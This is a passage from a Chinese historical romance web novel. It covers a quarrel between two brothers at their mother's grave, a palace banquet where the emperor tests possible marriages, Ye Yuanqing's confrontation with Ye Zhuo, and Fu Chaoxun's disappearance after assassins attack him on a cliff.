“卫知。”他终是开口,“你先回去,我一个人走一走,过会儿要去给我娘亲祭拜,明日一早你带着衣服去大寺等我。” 卫知担心道:“公子,天黑路滑,我去帮您找辆马车吧!” “不用,我想一个人走走。” “那您当心点。” 街上热闹非凡,炮竹声烟花声不断。 傅朝寻走到一家卖纸钱的店里,老板看到他,热情地迎上来,问道:“公子,今日怎么来这么早?纸钱已经为您准备好了,还和以前一样。” 二十几年来,给娘亲烧的纸钱都是在这里买的。 傅朝寻掏出银子递给店家,拿了纸钱出了店。 他迎着大雪,走到后山,来到娘亲的坟墓前。 坟墓上被白雪盖了厚厚一层,他蹲下身,用手一点点地清着。 但是雪下来以后又盖了一层。 他跪在坟墓前,如往常一样,默默地一句话也不说。 他不知道要与娘亲说什么,他从未见过娘亲。 娘亲长什么样子,什么性格,他也只是在小时候听傅呈延说起过,现在已经模糊不清了。 还未到丑时,傅呈延就来了。 以往每次祭拜母亲的时候,他们两个都是一前一后地来,来了之后,都是各烧各的纸,谁也不谁,等祭拜完了又一言不发地离开。 今天傅呈延来的有点早。 雪已经下得没有那么大了,但是深夜里却冷的很。 傅呈延依旧穿得金贵,一袭黑色狐狸毛氅衣帅气又暖和。 他跪久了膝盖有些僵硬,把纸铺好站了一会。 兄弟俩并排站着,谁都没有先开口。 黑夜里虽然看不清对方的脸,傅朝寻也能猜出傅呈延的表情。 他讨厌傅呈延,今天格外讨厌。 到了丑时,两个人都开始烧纸祭拜。 火焰跳跃在风雪里,分外突兀。 火光照亮了两个人的面容,相似的两张脸,连表情都是一样的。 祭拜完,火光灭了,傅朝寻转身走进黑夜里,傅呈延的马车紧跟着他。 一前一后走了好一会,马车突然停下来,傅呈延下了马车,拦住他,道:“我们聊聊。” 聊什么? 傅朝寻没有他,继续往前走。 傅呈延追上他,在身后道:“你自幼就是如此,什么时候能改改自己的脾气?以为武功高强,以为做了侯爷就可以放松警惕任意妄为?你能不能冷静思考思考怎么样才不会惹父亲生气,怎么样才能安心待在亲王府里。” “我惹父亲生气?”傅朝寻终是忍无可忍地停下来,冷笑道:“傅呈延,今天的事情你没有看到吗?你没有听到吗?傅峥临如此挑衅我,我怎么能忍?” 他突然觉得可笑,说:“对,你无所谓,那母子俩怎么说娘亲你都无所谓,所以,你也不是什么好人,就别拿着那点高傲姿态来教训我了。” 他最看不惯傅呈延这幅嘴脸。 夜风吹得衣衫呼呼作响,傅呈延了被吹乱的头发,也冷笑道:“我确实不是什么好人,但是我起码有冷静的思想,知道如何自立。” “自立?你还好意思说自立?”傅朝寻质问他:“你觉得你哪一点自立了?从小到大,所有的一切,所有的功劳都是我给你的。你躲在那舒适的院子里,享受着美酒佳肴,享受着父亲的爱戴。而我,却在外面孤军奋战,替你挡刀挡箭,你敢说你有如今的成就不是踩着我的背得到的吗?” 一肚子的委屈和不甘,压的他喘不过气来,今天他干脆一吐为快,干脆把傅呈延那张虚伪的面具扒下来。 他几乎咬牙道:“傅呈延,任何时候,无论是我小时候被欺负,还是被傅峥临指着嘲笑,或者是我被父亲用鞭子抽打,你有一次为我说过话吗?有一次帮过我吗?你只会仰着头冷眼看着,甚至还会露出得意的神情。你把我当做什么?当做仇人还是弟弟?” 他从来没有像今天这样生气过。 “傅呈延,活的真实一些吧!起码心别那么坏。这个世界上,你是让我觉得最冷漠的人。” 风吹得眼睛睁不开了,他揉了揉,继续道:“我不欠你什么,我也不欠父亲什么,我的出生也给我带来了很大的痛苦,起码你见过娘亲,被她亲过抱过,t?但是我没有,我连娘亲是什么模样都不知道,我连娘亲的怀抱是什么感觉都不知道。你们所有人都痛恨我,你也一样,你从小就讨厌我,冷落我,然后把我所有的东西都抢走,我的功劳,我的父爱,我的一切你都要抢。” 他们是亲兄弟啊!他真的难以解傅呈延怎么会如此狠心。 “我不管你和父亲在做什么,我都要警告你,不许要再踩着我去达到你们的目的,更不许去伤害我身边的人,否则,我真的会杀了你。” 他已经恨得咬牙切齿,既然大家不顾及情分,他也不管不顾了。 傅呈延默默地听着他说完这些,笔挺的身躯比之前挺的更直了,他低声开口:“所以,在你的眼里,你也委屈,你也没有一点责任是吗?你失去了母亲,我就没有失去吗?是我冷漠吗?是我不够关心你吗?你自己又在做什么?” 他也有一大堆话要说。 “傅朝寻。”他也连名带姓地叫他,“少时我们两个人的关系是不是还可以?每次你想娘亲了是不是都是我背着你过来?从幼时一直背到你十岁,只要是你说你想娘亲我都会背着你来看她,可你呢?你是怎么对我的,在你眼里我虚伪,高傲,抢风头,但是你可知我也有我的迫不得已。” 迫不得已?这四个字终是刺激到了傅朝寻:“什么叫做迫不得已?享受着荣誉和父爱,又是亲王府的嫡长子,拥有别人一生都难以得到的东西,你还有什么迫不得已?你就是自私,你知道我能力比你强,所以你怕我顶替你的位置,你们一再的打压我,让我在亲王府里无法生存,到底是谁迫不得已?” 类似的争吵,俩兄弟从年少时吵到现在,长期冷战,言语刺激,互相抱怨,一直都没有停止过。 他们互相讨厌对方。 傅呈延不愿在寒冷的风雪里与他争个明白,冷淡淡地说:“你今日落到这般地步,都是你咎由自取,到底是谁高傲也不知,连头都不肯低。” 傅朝寻也甩出几句狠话:“低头吗?我哪有你会,贪婪,虚伪,毫无尊严,永远活在虚荣的世界里,你就是毫无用处的草包一个。” 草包?傅呈延气得双手发抖。 两个人狠话都说绝了,凭借着那点血缘关系毫无忌惮地戳着对方的软肋。 傅朝寻这一生最狠的话全都说给了傅呈延。 雪又大了,风也大了,吹得傅呈延难以承受,他了一下衣衫,埋头往前走。 傅朝寻在身后警告他:“别去招惹叶元倾。” 傅呈延闻言蓦地停住脚步,片刻后又继续前走。 “傅呈延,我的婚事你凭什么操心?你接近她又是安的什么心?” 傅呈延默不作声地继续往前走。 “你若是再敢靠近她,我就杀了你。” 傅呈延依旧不回答,他越走越越快,风吹的眼睛睁不开了,黑夜中连路都看不清,他没有坐马车,他也想感受一下走在寒冷的风雪中是什么滋味。 —— 今年是大年初一,叶元倾一早起来让管家去侯府给傅朝寻送了一些饺子,有些是娘亲包的,有些是她包的。 还没到巳时叶卓和叶宁就来了。 今日叶宁穿得格外喜庆,叶卓也穿得十分金贵。这兄妹俩一向如此,在形象方面特别注重。 以前三个人经常一起出门一起玩,那时候他们都没有心思,凑在一起每天讨论最多的就是吃喝玩乐。 如今,气氛有点不一样了,还好叶宁并不在意,她还像往常一样有说有笑,也会一声声叫着“二哥哥”。 叶卓好像变了一点,眼睛里不再全是叶元倾,他会在叶宁说话的时候多看她几眼,也会像以前那样任由她差遣。 三个人上了进宫的马车,一路上还如往常一样说说笑笑。 到了宫门前,下车时碰到了傅呈延。 不知傅呈延是不是进宫赴宴的,他看到叶家三兄妹,只是淡淡地瞥了他们一眼就走在了前头,连叶卓这个太子都不放在眼里。 他依旧穿着金贵,高傲不可一世的姿态不减分毫。 叶宁冷哼道:“你说他有什么高傲的,不就是亲王府的嫡子,见了太子竟然都不行礼。” 傅呈延,京城出了名有能力又高傲且又非常神秘的贵公子,平时一年半载都见不到一面,而最近,叶元倾一连见到了他好几次。 今日的宫宴,不知皇上都邀请了谁,也不知会不会有傅朝寻。 第65章 第 65 章 追杀 叶元倾和叶宁已经不是第一次进皇宫了, 每次进宫叶元倾都忐忑不安,高高的宫墙让她感觉就像牢笼一样。 她从昨晚到现在满心里都是傅朝寻,她想知道他昨晚有没有和家里人一起吃年夜饭, 也想知道他今早有没有吃她包的饺子。 今天是他的生辰, 也是她母亲的祭日。 前世里,每到这一天他几乎都不在家里,今年她没有去打扰他,因为她想给他空间去处他和家人的关系,他虽然表面冷漠,但是他对亲情的渴望却是炙热的。 叶元倾心不在焉地往前走着,三个人来到宴会上她都未抬起头来。 到了大殿里, 里面只坐着傅呈延。 三个人落了座,大家均未说话, 傅呈延端坐着也不给叶卓行礼。 过了好一会,殿里都未再进一个人。 皇上一直都没有来,四个人坐着十分尴尬。因为在皇宫里,叶宁也比以前安静很多。 叶元倾垂首想着事, 小宫女过来奉茶,她抬起头, 撞上了傅呈延的目光。 傅呈延看着她,看的很直接,眼睛微眯着, 活像一只狐狸。 叶元倾不禁头皮发麻,他这般模样显得攻击性非常强。 不一会皇上进殿, 几个人起身跪地行礼。 皇帝身着华丽龙袍,面容威严,眼神深邃, 一副不怒自威的气势。 皇上落了座,看了看四人,沉声道:“今日本不该邀请各位前来,但是太子千里迢迢而来,朕不能失了礼数,所以就请呈延过来陪陪太子。” 看来皇上只邀请了他们四个人。 傅呈延是皇帝的亲侄子,也是禹国的准驸马,还是叶卓未来的妹夫,皇上让他过来陪陪,也合常。只是不可思议的复杂关系着实令人惊叹不已。 叶卓起身行礼,说了几句客套话。 皇上扫了叶元倾和叶宁一眼,又看向傅呈延,说:“当初为了促进两国关系,禹国皇帝让公主前来和亲,朕甚感欣慰。但是路途遥远,又是异国他乡,公主一娇弱女子前来,朕怕委屈了她,所以朕思来想去,觉得不如取消公主和呈延的婚事,再重新赐一桩婚事。” 重新赐一桩婚事? 叶元倾闻言猛地一惊,偷偷看了一眼皇帝,原来他邀请他们过来是有目的的。 “皇上说的甚是。”傅呈延急忙起身行礼,“臣也觉得让公主下嫁过来太过委屈。臣愿意和公主取消婚约。” 亲王府和禹国联姻,对亲王府来说十分有利,皇上是怕公主嫁过来以后给亲王府扩大势力,才抓住机会取消婚约,不想傅呈延迟竟然答应的如此爽快。 当初两国和亲是禹国皇帝所提,皇上和傅呈延不得已才答应了下来,现在叶卓做了太子,许给他一个姑娘一样能促进两国关系。 所以…… 叶元倾想到这里有些慌了,皇上叫上她和叶宁前来赴宴,说不定是打起了她们的主意。 若是皇上开口让叶卓选她们其中一个,那可就完了。 “朕觉得元倾姑娘和叶宁姑娘都和太子非常般配。”皇上突然说。 果然。 叶元倾和叶宁均是吓得打一机灵,两个人互望一眼,心中都忐忑不安。 叶卓先是看了一眼叶元倾,又看向叶宁,并未急着开口。 大殿里安静了片刻,大家都各怀心事地观察着,谁都没有先开口。 “元倾姑娘意下如何?”皇上突然问叶元倾。 叶元倾急忙起身行礼道:“回皇上,和亲乃是两国大事,民女作为太子的妹妹,自然希望他能娶到一位合适的姑娘。” “合适的姑娘?”皇上突然笑了,“你觉得什么样的才叫合适?” 叶元倾回道:“民女认为这要问太子殿下。” 叶元倾把问题抛给了叶卓,这个时候,她只希望叶卓能够清醒地慎重考虑。 叶卓看向她,回道:“既然皇上准备赐婚,那就听皇上的意见,若是合适,此次回国就带她一起回去。” 叶卓又把问题抛给了皇上。 现在叶元倾算是明白了,叶卓想娶她,但是又不想通过自己的逼迫去娶她,所以他想通过皇上之口去迎娶她,如此就不算是他在逼迫她。t? 叶卓可真厉害。 皇上看着二人,笑道:“我听说太子和元倾姑娘关系甚好,你们二人一个才华横溢,一个花容月貌,倒是难得一见的绝世璧人。” 绝世璧人。 意思已经很明显了。 “皇上。”叶元倾噗通一声跪在了地上,道:“民女有一事恳求皇上,希望皇上能够答应。” 皇上吃惊地“哦”了一声:“你说。” 叶元倾道:“民女与太子殿下自幼兄妹情深,虽然他不是叶家血脉,但是民女对他却有很深的兄妹之情,既然两国交好,民女恳求皇上赐民女做太子的义妹,赎民女高攀,一心只想做他一辈子的妹妹。” 义妹?一辈子的妹妹。 她不想和亲,不想嫁给叶卓。 大殿里又安静了片刻。 皇上看了看叶卓,叶卓蹙着眉头,脸色甚是难看。 皇上挑挑眉,沉声道:“既然情深,倒也不必在意什么感情。” 这话什么意思? 叶元倾双手紧绷着,额头上渗出一层细密汗珠,皇上这是铁了心想把她许配给叶卓? “叶宁姑娘。”皇上又突然叫叶宁。 叶宁惊得急忙起身行礼:“民女拜见皇上。” 皇上审视着她,说:“叶宁姑娘也到了出嫁的年纪,朕给你说一门婚事如何?” 给她说一门婚事? 叶宁紧张地看他,不确定他是不是要把她许配给叶卓,她又去看叶卓,叶卓则一直垂头看不出神色。 皇上没有等到她的回答,然后看向傅呈延,笑道:“既然呈延要与禹国公主取消婚约,又尚未娶妻,朕把叶宁姑娘许配给你怎么样?” 把叶宁许配给傅呈延? 叶宁闻言蓦地僵挺住了,反应过后来忙道:“皇上,民女不愿意。” 不愿意。 此话乃是忤逆之言。 叶元倾紧张地扯了扯叶宁的衣袖。 叶宁一时有点懵,没发现自己说错话了。 皇上脸色立马暗沉下来。 叶卓见龙颜不悦,急忙道:“皇上,叶宁年龄还小,不着急成婚,她与傅公子也不合适。” 不合适? 皇上问傅呈延:“呈延觉得合适吗?” 傅呈延面不改色地看了看叶宁,又看了看叶元倾,清声道:“叶宁姑娘确实小了些,皇上若是想给臣赐婚,可以选另一个。” 选另一个?指的叶元倾? 叶元倾心里一慌,蹙眉去看傅呈延,他是有病吗?前几天刚说要操心她和傅朝寻的婚事,这又是说的什么话。 皇上突然朗声笑了,笑的叶元倾头皮发麻。 这哪里是宴会,这明明就是一场上位者的明争暗抢。 “朕以前听说过元倾姑娘和温衍的事情,也听说傅公子对元倾姑娘一往情深。”皇上又突然说,“若是两情相悦,朕愿意牵这条红线。” 傅公子?他指的谁,傅朝寻还是傅呈延? 叶卓见势不妙,行礼道:“婚姻之事乃是大事,可以以后再议。” 皇上老奸巨猾,很明显在试探他们,一个心思缜密的九五之尊,岂是他们几个人能对付了的。 叶卓本以为可以借此得到皇上的赐婚,没想到傅呈延突然插上一脚。 再不收场,要出大事了。 “好。”皇上笑道,“今日是大年,婚事暂且不提,稍后朕会酌情处。” 酌情处,这句话又让叶元倾一阵心慌。 宴罢,回府的路上,叶元倾和叶宁均是一言不发,叶卓也沉默不言。 马车先到了将军府,叶元倾让人把叶宁送回了太师府,然后把叶卓留了下来。 两个人找了一个安静的地方,叶元倾头一次冷眼看向叶卓,愤怒,失望,委屈,全在眼睛里。 叶卓垂首默不作声,心情也极其糟糕。 “还不打算回禹国吗?”叶元倾冷声开口,“非要撕破脸搞得势不两立?温衍的前车之鉴你一点都看不到吗?你非要毁了我和叶宁?” 今日之事着实让叶元倾火大。 叶卓没做声。 叶元倾又冷言道:“今日你看到了吗?看到皇上的样子了吗?看到傅呈延的样子了吗?他们是什么人?他们把我们当做了什么?你以为你做了禹国太子就有了能力?傅呈延不也没给你行礼吗?他甚至都不把你放在眼里。你作为禹国皇子在太师府生活了那么多年,你以为皇上没有对你对叶家起疑心吗?他若是给叶家按一个通敌卖国的罪,我们又能如何?” “以前,我一直觉得你成熟稳重,考虑甚多,但是没想到你竟会如此愚钝,你多在陵国待一天,皇上就会忌惮一天,叶家就多一分危险。我不是把话说明白了吗?你为何还要把我和叶宁带到皇宫里去?你以为借皇上之口就不是逼迫我?你太看不起我了。叶卓……” 叶元倾第一次叫他的名字,语音都是颤抖的:“放弃吧!别毁了我也毁了你自己,甚至毁了叶宁。傅呈延那样的人,若是皇上真把叶宁许配给了他,她以后要怎么活?你走吧!离开这里。” 她在赶他走,直接说让他走。 叶卓眼眶红了,心里的难过几乎让他撑不住了,她说的很有道,还是他太自以为是,考虑的太简单了,在皇上那些人眼里,他们只不过是可以任意摆布的木偶。 “元倾!”这一次他没有叫妹妹,而是叫她的名字,他一直都很想这样叫她,“对不起,今日是我莽撞了,但是你能解我吗?你能解我有多希望你看看我吗?我真的要疯了,我甚至都乱了方寸,这么多年,我一直忍着,好不容易有了一个可以表达爱的机会,我真的不甘心放弃。” “什么叫不甘心?”叶元倾很无奈,她伸手给他看,哽咽道:“我这双手,到现在都是颤抖的,你可知我今日有多紧张有多害怕?我害怕皇上赐婚,我害怕连累叶家,我吓到出了一身冷汗。我只是一个手无缚鸡之力的弱女子呀!不是你们争抢甚至玩弄的对象,你这是把我推上前去,让皇上让傅呈延愚弄我,嘲笑我。我很崩溃,我有喜欢的人,我就想和喜欢的人在一起简简单单的生活,这有错吗?以前是温衍逼我,差点让我送命,现在你也要毁了我吗?” 毁了她?他怎么舍得。 “元倾!”他也好痛苦好痛苦,“你别生气,是我不对。” 他只会道歉,没有了其他办法,她把话说的那么死,他还能怎么办。 叶元倾也不想再说什么,最后道:“我希望你好好想想,想明白了就回去,若是你不喜欢叶宁,就与她说清楚,别到最后害了我也害了她。” 到她这里,他的喜欢就成了“害”,这一刻他的心终是碎了。 叶卓离开将军府以后又去了酒馆喝酒,他把自己喝得酩酊大醉。 叶宁在街上的一个角落里找到他,把他带回了家,扶他到房间,贴心的为他擦着通红的脸,一声声地叫着“二哥哥”。 叶宁见他落泪,也忍不住落泪。 叶卓迷迷糊糊地抓住她的胳膊,轻声道:“宁儿,别哭,哥哥有些话想对你说。” 叶宁知道他想说什么,她急忙道:“你别说,你什么也别说,我不想听。你喝醉了,你先休息。” 她说完要走。 “宁儿。”叶卓紧紧抓着她,“你听哥哥说。” “我不听。” 她哽咽道:“你休要喝醉酒在这里发疯,你说什么我都不听,我也不相信。” “宁儿。”叶卓头疼的厉害,紧紧抓着她,他想说个明白,“哥哥那么疼你宠你,你知道是为什么吗?” 她不知道,也不想知道。 她使劲抠他的手。 他抓得紧,依旧不松开。 她又气又恼,在他手腕上狠狠咬了一口。 她咬得狠,他轻颤了一下胳膊仍旧不松开。 他望着她,温声说:“宁儿,我大你八岁,我们第一次见面,你还是个婴儿,我是看着你长大的,我喂你吃饭,帮你更衣,满心里只有做哥哥的喜悦和责任。你喜欢粘着我,我也喜欢你一声声叫着二哥哥。因为我没有父母,你给了我最真实的亲情。你在我心里一直就是亲生妹妹,甚至是个孩子。” 孩子? 她猛地往外挣了一下手,眼泪又啪嗒落了下来。 叶卓紧紧抓着她,继续道:“宁儿,你跟着我长大,你依赖我,这很正常,所有的兄妹之间都是如此,但是这种依赖并不是爱情,它只是身份突然转变发生的好奇。你想一想,你对哥哥的感觉和对傅峥临的是不是不一样?你是不是见不到我就像见不到父亲一样没有安全感?” “宁儿。”他扯了扯她,把她扯到自己跟前,温声说:“做兄妹有什么不好?我可以疼你宠你一辈子t?,我可以给你任何东西,但是,若是爱情,哥哥真的给不了。那天下雪我答应你的承诺,也是因为你被傅峥临欺负了,哥哥心疼你,哥哥想保护你,也真心把你当做家人,当做妹妹,才答应你。而你问我时,不也是因为心情低落,想找个依靠吗?那根本就不是爱情啊!” 爱情,怎么样才算是爱情? 叶宁突然有些迷茫了,也有些不确定对叶卓到底是什么感情。 她抽泣着说:“可是我不想和你分开,不想让你走。” 一起生活了那么多年,怎么舍得呢!他也舍不得她。 他帮她擦着眼泪,苦涩地笑了:“那你跟我去禹国,到了禹国我为你安个家,你的婚姻,你的一切我都为你操办。” 叶宁看着他,见他如此痛苦,心情很复杂。她思想单纯,想不了太深,但是心里那种喜欢她是真切感受到的。 以前她确实满心里都是傅峥临,那是一种情窦初开时的喜欢,和对叶卓的喜欢不一样,她会很快忘记傅峥临,但是她想她永远忘不了叶卓。 当初温衍为了爱情疯了一样,差点让叶元倾送命,如今叶卓也一样,她眼看着他一点点疯狂起来,几乎失去了智,今天甚至把她们带到皇宫里去求赐婚。 若是皇上真的把元倾姐姐许配给他,若是皇上真的把她许配给傅呈延,那她和元倾姐姐的后半生就完了。 这爱情太伤人了,也太毁人了,她觉得好可怕。 她不想要爱情了,她想好好的活着。 她忍着心里的难过,下定了决心,点着头,摸了摸被她咬红的手腕,心疼地问:“疼不疼?我刚才生气了,咬的有些用力。” 叶卓摇着头:“一点也不疼,你七八岁的时候最爱咬人,那时候我身上尽是你的牙印,比现在要深的多。” 叶宁流着泪笑了,无论什么感情都不重要了,能维持住曾经那份珍贵的兄妹情也没有什么不好的。 “二哥哥。”她轻声叫他,“我想应该是我最近看那种书看多了才胡思乱想,你说的不错,我们之间确实是很深的兄妹情,是我太依赖你了,我以后不会再胡思乱想,那种书很毁脑子,回头我全都烧了。” 叶宁很聪明地把问题都归结到了一些书上。 “书?”叶卓揉了揉额头,有些疑惑,“什么书?你从哪里弄的书?” 叶宁回道:“我偷叶绍哥哥的,一开始我以为是文学著作,结果看着看着不对劲了,但是又很好看,就,就入魔了,里面有各种各样的爱情,还有……还有一些露骨的兄妹情。” 露骨的兄妹情? 她是从书上学的? 叶卓眉头皱的愈紧,也不知是不是喝醉酒听错了,道:“你把书拿给我,我帮你烧掉。” “好。” 叶宁真的跑出去拿了几本书过来。 叶卓翻了翻,越翻越觉得不对,这几本书表面看起来没有多大问题,但是翻着翻着就让人沉浸进去了。 里面有很多悲惨的爱情故事,也有叶宁说的露骨的兄妹情,甚至还有更奇怪的爱情。 书里的故事很吸引人,连他这种阅览无数的人看了都觉得上头,何况叶宁。 只是这些书太奇怪了,叶绍是从哪里搞到的,京北码头被他管的一团糟,执掌权都被傅朝寻抢走了,他竟然还有闲心看这种书。 叶宁心情转变的很快,没多久又活蹦乱跳了,她跑去告诉叶元倾,说她分清了对叶卓的感情,以前是她误会了,她根本就不是喜欢叶卓,她是太依赖叶卓了。 叶元倾不知她是真的想明白了,还是在皇宫里被吓到了,但是她能及时抽身她非常开心。 不健康的爱情只会伤心伤身,甚至伤命,能躲多远就躲多远吧! 叶元倾坐在院子里等着傅朝寻,一直等到傍晚都没有等到他。 他说今天要过来找她,要带她到侯府吃好吃的。 她怕去皇宫里错过了,问了管家好几次傅朝寻有没有来过,管家都说没有。 眼看天黑了下来,叶元倾实在担心,就让二哥带着她去了一趟侯府。 到了侯府以后,只见侯府的灯是灭的,侯府的门官说傅朝寻一直都没有来过。 叶元倾心有不安,又让人去亲王府里打听,结果亲王府看守森严,一点消息也没有打听出来,连卫知都没有见到。 叶元倾自从皇宫里回来以后心情一直都是低落的,她每每想起皇宫里那一幕都非常后怕,尤其是傅呈延看她时的眼神,真的像看着猎物一样。 那日他与她在茶馆谈话时他还算温和,但是不知为何今天突然变得不一样了,他与他父亲很像,既精明又让人琢磨不清。 叶元倾一直等到深夜都没有等到傅朝寻,不安和恐慌让她彻夜难眠。 傅朝寻这样的人生真的太可怕太悲惨了,跟他在一起,每时每刻都在提心吊胆,担心他受伤,担心他被害,担心毫无预兆就会阴阳两隔。 这种痛苦她以前体验过,而现在依旧在经历。 但是爱情又莫名地给她勇气,明知前方是万丈深渊,她却还是义无反顾地奔赴而去。 那天,他说让她再等等,其实她不想等,前世她已经等怕了,今世她只想与他平平安安简简单单的生活。 但是他们的出身又不允许他们这么做,他们不能为了自己丢弃家人再重演前世的悲惨结局。 只要恶人还活着,所有人都不会安宁。 她相信傅朝寻能扫清一切障碍,为他们争取一个美好未来。 在她心里,他是山上的青松,顶天立地,永远不会倒下。 —— 寒风呼啸的黑夜里,两队人马厮杀在一座悬崖峭壁上,马惊声,喊杀声,响彻整个山谷。 大雪漫天,天寒地冻,结冰的地面踩上去就会打滑,马儿被逼的连连后退,马上的人儿杀红了眼睛。 “取他首级者,赏黄金万两。” 万两黄金换一个人头。 一句话让杀手们越杀越勇。 越来越多的人马持箭而来,如雨般的箭矢向悬崖边上的人马射去。 傅朝寻深受数箭,流血的眼睛也模糊不清,身下的马儿开始长鸣,然后哐当一声倒在了地上。 他从马背上站起,握着砍弯的剑,跌跌撞撞地杀进人群里。 被人追杀的场景他太熟悉了,每一次几乎都是死里逃生。 这一次,有两波人要杀他,从京城一路追杀到荒无人烟的悬崖峭壁上。 越来越多的杀手把他逼到了绝境,这一次若是抵挡不住,他只有死路一条。 反而,若是杀出阵营,他就可以拿着刚搜集到的证据把大学士等一窝逆党击倒,把傅呈延的秘密组织找出来,把那些陷害他们的人全部除掉。 然后,和元倾过上平安的生活。 只是,杀手太多了。 “哐当”一声,一把长刀砍在了他弯曲的剑刃上,长刀那头是骑着高大骏马的黑衣杀手,风雪中,杀手一阵猛烈进攻,逼得他不断向后退去。 后面就是万丈深渊。 积雪很厚,鲜血一滴滴落上去如同开着红色花儿。 “杀!” 随着一阵震耳欲聋的喊杀声,傅朝寻只觉眼前一黑,突然什么也看不到了,身子也向后倒去。 有人喊:“掉下去了。” 第66章 第 66 章 “傅朝寻,死了?”…… 新年过后, 天气好起来了,太阳也出来了,照进院子里的暖阳格外温柔。 院中的大树也愈发精神了, 好像很快就能发芽。 叶元倾在屋门前焦急的来回踱步, 她已经派了好几波人去找了,从清早找到现在,好几个打探回来的人都说没有找到傅朝寻。 昨晚她等了一夜都没有等到他,今日天不亮她就去了一趟侯府,可是侯府的灯是灭的,傅朝寻依旧没有回来。 他到底去了哪里啊? “妹妹!”叶元萧匆匆跑来,神色有些紧张。 “怎么样?找到了吗?”叶元倾眼眶立即红了。 叶元萧轻叹了口气, 先是安慰她:“妹妹你别着急,傅朝寻武功高强, 又是侯爷,不会出事的。” 叶元倾见他欲言又止,担心的问:“二哥,你说实话, 到底出了什么事?” 叶元萧忧愁着道:“今日朝会刚散,傅亲王就慌慌张张地离开了, 看神色好像出了大事,不知是否与傅朝寻有关。” 连傅亲王都紧张了起来,难道傅朝寻真的出事了。 叶元倾心中一阵担心, 提起裙摆就往院外走。 叶元萧急忙跟上她:“妹妹你要去哪里?” “去亲王府看看。” “我跟你一起去。” 兄妹二人忐忑不安地到了亲王府,结果亲王府门前把守了很多带刀侍卫, 连大门都进不去。 门官认出了叶元萧,问道:“请问叶公子要t?找哪位?” 叶元萧回道:“我们找侯爷。” 门官微皱了下眉头,道:“不好意思二位, 侯爷不在府上。” “那卫知在不在?”叶元倾忙问。 “不在。”门官摇摇头。 叶元萧看了看周围把守的侍卫,又问:“敢问府上出了何事?” 门官没有回答,而是道:“若是二位无其他事情,请回,等侯爷回来,我会转告给他。” 叶元倾还想再问,叶元萧就拉着她上了马车,他安慰道:“妹妹莫要太担心,傅朝寻是侯爷,又操办着大寺的所有事务,说不定是出远门查案了,你且先回府等着,哥哥再去一趟大寺看看。” 叶元倾点着头,这次她比以往都要担心,她总觉得会有大事发生。 前世傅朝寻去世那日,她也是忐忑不安的一夜未眠,第二天一早就在院子里等着他,结果等来的却是最后一面。 现在和那时的心情一模一样,实在让她恐慌。 她心中默念着:傅朝寻,该吃的苦我们都吃过了,老天也该放过我们了吧?春天到了,树快发芽了,我们是不是也能过上幸福的生活了? 她把手伸出车窗外,感受着风的温度,风儿落在手上已经没有那么凉了,她期盼的幸福应该快到了。 她回到将军府就一直坐在窗前等着,从午时等到傍晚,又从傍晚等到深夜,出去寻找的人回来一波又一波,但是始终都没有傅朝寻的下落。 她终是坐不住了,天不亮又去了一趟亲王府,这一次,她找的是傅呈延。 门官把傅呈延叫了出来。 清晨的雾气很重,也非常冷。 叶元倾来的时候都没来得及披氅衣,小脸冻得通红。 傅呈延请她进府,招待她到客房里,给她倒了一杯热茶。 叶元倾没有心情坐下,开口就问:“你告诉我,傅朝寻是不是出事了?为什么这么多天都找不到他?他到底去了哪里?” 傅呈延指了指凳子让她坐下,沉声道:“三弟好像失踪了,我和父亲派了很多人去找,都没有找到他。” 失踪? 叶元倾焦急地往前走了两步,问:“怎么会失踪?他一个大活人武功那么高强,怎么会失踪呢?” 前世那么凶残的环境他都能应付,现在怎么会突然失踪。 “好像有人追杀他。”傅呈延见她不坐,审视了她几眼,道:“除夕那晚我和他一起去给母亲上坟,我回了亲王府以后,就再也没见到他了。平时我们很少有交集,各有各的事忙,几天不见也不奇怪。一开始我和父亲都未在意,直到大寺那边的人来找他,才发现情况不对。” 有人追杀他?会是谁? 叶元倾闻言一阵恍惚,眼泪瞬间落了下来。 连亲王府都找不到他,他能去哪里?他还安全吗? 泪水从苍白的脸颊一滴一滴落下来,情绪再也难以控制了,她一边擦着眼泪一边抽泣着。 傅呈延见她如此忧伤,沉默了好一会,然后道:“你且放心回去,找到他以后我让人去通知你。” “傅呈延。”叶元倾叫他,泪眼模糊地看着他,问:“你告诉我,不是你动的手对不对?你是他的兄长,他的亲兄长,你一定不会去害他的对不对?无论你和你父亲在做什么,你们都不会去害他的对吗?” 之前,傅朝寻告诉她,他查出了一个组织,里面有他山上的师父,还有暗杀他的人,而这些人又是傅呈延的人。所以,她很害怕悲惨的事情发生,她很害怕傅朝寻会遭到手足的陷害,那样,他就真的太惨了。 前世的悲惨生活好似历历在目,她想起了那个钢铁一样的人独自坐在灯下缝合着伤口,想起了那个寡言少语的人即便失去了双腿还要爬到她面前叫一声“元倾”。 他明明那么努力又有情有义,为何老天还要一再的为难他。 她伤心地垂下头,傅呈延安静地看着她,他没有想到她会这样质问他。 “傅呈延。”她又道,“傅朝寻都活的那么悲惨了,你放过他好吗?” 放过他? 她这话什么意思? 傅呈延不禁皱起眉头,眸光也渐渐暗沉下来,周身寒意越来越浓,他冷声道:“你的意思是,是我在害他?” 他站起身,走近她,冷笑道:“我知道你关心他,但是你不必来质疑我的为人。你们二人既未订婚又未成亲,你跑来质问我,难道不觉得失礼吗?我自己的弟弟我会关心,还轮不到你在这里指手画脚。” 他低眸看着她,眼神越来越幽暗,一字一句道:“先管好你自己,少管点闲事。” 在他看来她就是多管闲事。 叶元倾蹙眉瞪他,往后退了一步。 傅呈延见她紧张起来,不禁挑了一下唇角,指了指屋门,表示让她出去。 叶元倾觉得与他多说无益,便丢下一句“找到他立马告诉我”就离开了。 她哭了一路,回到家中就去找父亲,结果父亲不在家,她只好去找祖母,他把傅呈延给她说的话告诉了祖母。 祖母沉思良久,摇着头道:“傅呈延虽然人不怎么样,但是不至于残害手足。也许他和他父亲在密谋一件大事,害怕傅朝寻坏事,便把他关了起来,你且安心等着,别太着急。” 她怎么会不着急,她和傅朝寻都是重生而来,她知道事情有多严重有多复杂。 傅朝寻是带着人查案才突然失踪的,说不定是他查到了某些人,遭到了追杀。 全京城里,想杀他的人太多,最可疑的就是傅呈延和大学士。 大学士老奸巨猾,从他这里很难查出什么线索,唯一有点希望的人就是他的大儿子刘钦。 刘钦认识的人多,交际圈子很杂,前段时间傅朝寻接管大寺时,还与他因为事务交接接触了一段时间,说不定能从他那里得到傅朝寻的下落。 